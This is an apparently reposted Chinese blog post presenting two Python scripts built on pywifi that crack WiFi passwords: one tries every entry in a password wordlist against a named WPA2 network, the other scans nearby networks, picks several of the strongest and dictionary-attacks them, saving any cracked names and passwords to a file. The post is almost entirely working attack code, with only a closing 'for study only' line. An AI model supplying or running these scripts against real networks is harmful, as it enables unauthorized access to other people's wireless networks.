• 利用python破解WiFi密码


    目录:

    1.破解指定一个WiFi

    2.破解多个WiFi

    1.破解指定WiFi

    # coding:utf-8
    import time  # 时间
    import pywifi  # 破解wifi
    from pywifi import const  # 引用一些定义
    from asyncio.tasks import sleep
    
    
    class PoJie():
        def __init__(self, path):
            self.file = open(path, "r", errors="ignore")
            wifi = pywifi.PyWiFi()  # 抓取网卡接口
            self.iface = wifi.interfaces()[0]  # 抓取第一个无限网卡
            self.iface.disconnect()  # 测试链接断开所有链接
    
            time.sleep(1)  # 休眠1秒
    
            # 测试网卡是否属于断开状态,
            assert self.iface.status() in 
                   [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
    
        def readPassWord(self):
            print("开始破解:")
            while True:
    
                try:
                    myStr = self.file.readline()
                    if not myStr:
                        break
                    bool1 = self.test_connect(myStr)
                    if bool1:
                        print("密码正确:", myStr)
                        break
                    else:
                        print("密码错误:" + myStr)
                    time.sleep(3)
                except:
                    continue
    
        def test_connect(self, findStr):  # 测试链接
    
            profile = pywifi.Profile()  # 创建wifi链接文件
            #==================修改部分1======================
            profile.ssid = "baby1997_xdd"  # wifi名称
            #=================================================
            profile.auth = const.AUTH_ALG_OPEN  # 网卡的开放,
            profile.akm.append(const.AKM_TYPE_WPA2PSK)  # wifi加密算法
            profile.cipher = const.CIPHER_TYPE_CCMP  # 加密单元
            profile.key = findStr  # 密码
    
            self.iface.remove_all_network_profiles()  # 删除所有的wifi文件
            tmp_profile = self.iface.add_network_profile(profile)  # 设定新的链接文件
            self.iface.connect(tmp_profile)  # 链接
            time.sleep(5)
            if self.iface.status() == const.IFACE_CONNECTED:  # 判断是否连接上
                isOK = True
            else:
                isOK = False
            self.iface.disconnect()  # 断开
            time.sleep(1)
            # 检查断开状态
            assert self.iface.status() in 
                   [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
    
            return isOK
    
        def __del__(self):
            self.file.close()
    
    #=========================修改部分2==========================================
    path = r"D:File_PythonwifiWiFi_ChangYongPassword.txt"
    #============================================================================
    start = PoJie(path)
    start.readPassWord()

    2.破解多个WiFi

    import pywifi
    
    from pywifi import const  # 引用一些定义
    
    import time
    
    
    def getwifi(wifilist, wificount):
        wifi = pywifi.PyWiFi()  # 抓取网卡接口
        ifaces = wifi.interfaces()[0]  # 获取网卡
        ifaces.scan()
        time.sleep(8)
        bessis = ifaces.scan_results()
        allwifilist = []
        namelist = []
        ssidlist = []
        for data in bessis:
            if data.ssid not in namelist:  # 去掉重复的WIFI名称
                namelist.append(data.ssid)
                allwifilist.append((data.ssid, data.signal))
        sorted(allwifilist, key=lambda st: st[1], reverse=True)
        time.sleep(1)
        n = 0
        if len(allwifilist) is not 0:
            for item in allwifilist:
                if (item[0] not in ssidlist) & (item[0] not in wifilist):
                    n = n + 1
                    if n <= wificount:
                        ssidlist.append(item[0])
        print(allwifilist)
        return ssidlist
    
    
    def getifaces():
        wifi = pywifi.PyWiFi()  # 抓取网卡接口
        ifaces = wifi.interfaces()[0]  # 获取网卡
        ifaces.disconnect()  # 断开无限网卡连接
        return ifaces
    
    
    def testwifi(ifaces, ssidname, password):
        profile = pywifi.Profile()  # 创建wifi连接文件
        profile.ssid = ssidname  # 定义wifissid
        profile.auth = const.AUTH_ALG_OPEN  # 网卡的开放
        profile.akm.append(const.AKM_TYPE_WPA2PSK)  # wifi加密算法
        profile.cipher = const.CIPHER_TYPE_CCMP  # 加密单元
        profile.key = password  # wifi密码
        ifaces.remove_all_network_profiles()  # 删除其他所有配置文件
        tmp_profile = ifaces.add_network_profile(profile)  # 加载配置文件
        ifaces.connect(tmp_profile)  # 连接wifi
        time.sleep(5)  # 5秒内能否连接上
        if ifaces.status() == const.IFACE_CONNECTED:
            return True
        else:
            return False
    
    
    def beginwork(wifinamelist):
        ifaces = getifaces()
        path = r"wifi_ChangYongPassword.txt"
        # path = r"password-常用密码.txt"
        files = open(path, 'r')
        while True:
            try:
                password = files.readline()
                password = password.strip('
    ')
                if not password:
                    break
                for wifiname in wifinamelist:
                    print("正在尝试:" + wifiname + "," + password)
                    if testwifi(ifaces, wifiname, password):
                        print("Wifi账号:" + wifiname + ",Wifi密码:" + password+'======================================')
                        #=====================================
                        # 将连接上的账户与密码写入到文件中
                        filePassword = open("./成功破解的账户.txt", "a");
                        filePassword.write('Wifi账号:' + wifiname + '    ' + 'Wifi密码:' + password + '
    ');
                        filePassword.close();
                        #=====================================
                        wifinamelist.remove(wifiname)
                        break
                if not wifinamelist:
                    break
            except:
                continue
        files.close()
    
    
    if __name__ == '__main__':
        wifinames_e = ["", "Vrapile"]  # 排除不破解的wifi名字
       # print(wifinames_e)
        wifinames = getwifi(wifinames_e, 5)
    
    
        print(wifinames)
        beginwork(wifinames)

    转载仅为学习,不会商用。
    欢迎转载原创,附文链接。
  • 相关阅读:
    IOS GCD使用实例大全
    IOS GCD图片数据异步下载,下载完成后合成显示
    Git使用详细教程
    maven是干什么的?
    npm 的作用
    webstorm+nodejs环境中安装淘宝镜像
    关于框架搭建-web
    ES6-babel转码
    JavaScript单元测试工具-Jest
    webpack-dev-server和webpack
  • 原文地址:https://www.cnblogs.com/xdd1997/p/12263553.html
Copyright © 2020-2023  润新知